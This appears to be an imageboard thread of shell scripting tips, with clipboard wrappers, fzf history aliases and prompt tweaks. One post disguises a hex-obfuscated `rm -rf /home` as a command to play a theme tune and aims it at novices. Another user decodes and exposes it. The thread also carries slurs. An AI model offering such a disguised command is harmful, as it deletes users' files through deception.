shell scripting and aliases thread
>>106977170was just reading this and thought to make a thread about it since these threads are nice sometimeshttps://evanhahn.com/scripts-i-wrote-that-i-use-all-the-time/i like his clipboard tools>copy and pasta are simple wrappers around system clipboard managers, like pbcopy on macOS and xclip on Linux. I use these all the time.# High level examplesrun_some_command | copypasta > file_from_my_clipboard.txt# Copy a file's contentscopy < file.txt# Open a file path from your clipboardvim "$(pasta)"# Decode some base64 from the clipboardpasta | base64 --decodeseems like this is all useful for LLM stuff, like scraping sources and then creating prompts with clipboars>pastas prints the current state of your clipboard to stdout, and then whenever the clipboard changes, it prints the new version. I use this once a week or so.# High level examplepastas > everything_i_copied.txt# Download every link I copy to my clipboardpastas | wget -i -
# High level examplesrun_some_command | copypasta > file_from_my_clipboard.txt# Copy a file's contentscopy < file.txt# Open a file path from your clipboardvim "$(pasta)"# Decode some base64 from the clipboardpasta | base64 --decode
# High level examplepastas > everything_i_copied.txt# Download every link I copy to my clipboardpastas | wget -i -
>>106977170LFG!!!!!!!!!!!!!!!!!!
>>106977170just made this masterpiece after figuring out you can play audio from the terminal# plays the /g/ theme on the GNU plus Linux terminalaplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
# plays the /g/ theme on the GNU plus Linux terminalaplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
>>106977822you dont even use linux youre just a windows fag trying to get noobs to delete their harddrive
>>106977897what?
>>106977944huh?
>>106977944video of you running the command or youre a faggot =
>>106977944faggot
>>106977170powershell > bash
>>106977822Let’s break this down carefully — this command looks intentionally obfuscated.The command is:aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"Step 1: Decode the $'...' sequencesEach $'\x..' is a way of specifying a string using hex-escaped bytes. $'\x72\x6d' "rm" $'\55\x72\x66' "-rf" $'\57\x68\x6f\x6d\x65' "/home"So the inner command becomes:`rm -rf /home`Step 2: The backticks `...`In Bash, anything inside backticks is executed as a shell command, and its output replaces the backtick expression.Here, `rm -rf /home` would run the command rm -rf /home — which recursively deletes the entire /home directory.Since rm -rf /home produces no output, the command expands to:aplay --rawaudio ""Step 3: What happens when it runsSo, effectively: The malicious part is that it executes rm -rf /home — deleting all user data under /home. The aplay --rawaudio "" part after that is harmless (it just fails because no input file is given).
>>106977170One of my most used aliases, an fzf bash history browseralias hs='fzf --scheme=history --tac --bind "home:last,end:first,change:first,enter:become:printf -- %s {} | xclip -selection clipboard" < "$HISTFILE"'
alias hs='fzf --scheme=history --tac --bind "home:last,end:first,change:first,enter:become:printf -- %s {} | xclip -selection clipboard" < "$HISTFILE"'
>>106979756theres some history command you can use to search i can never remember to do it
>>106979784Ctrl+R?
>>106979787yeah, thanks. its kinda janky though. your solutions gotta be better, i like fzf ill set this up.
>>106979796for me, it's https://eli.thegreenplace.net/2013/06/11/keeping-persistent-history-in-bashstarted using this at work and it unironically changed my lifei have it aliased to phg - persistent history grep
>>106979796There's also this:bind '"\e[A":history-search-backward' # Up and down arrows search history based on current inputbind '"\e[B":history-search-forward'
bind '"\e[A":history-search-backward' # Up and down arrows search history based on current inputbind '"\e[B":history-search-forward'
>>106979796There's also fzf-history-widget that is a part of fzf. Works for zsh at least and you can bind it to C-r to replace the old history search. Instructions link in picrel
Pipeline exit codes on PS1PROMPT_COMMAND='pipestatus_ps1="(${PIPESTATUS[*]}) "'PS1="${PS1}\${pipestatus_ps1/#(*(0 )0) }"
PROMPT_COMMAND='pipestatus_ps1="(${PIPESTATUS[*]}) "'PS1="${PS1}\${pipestatus_ps1/#(*(0 )0) }"
Top 20 most used commands.cat ~/.bash_history | sed 's/sudo //g' | cut -d ' ' -f1 | sort | uniq -c | sort -nr | head -20
Why does fish shell have such weird syntax compared to bash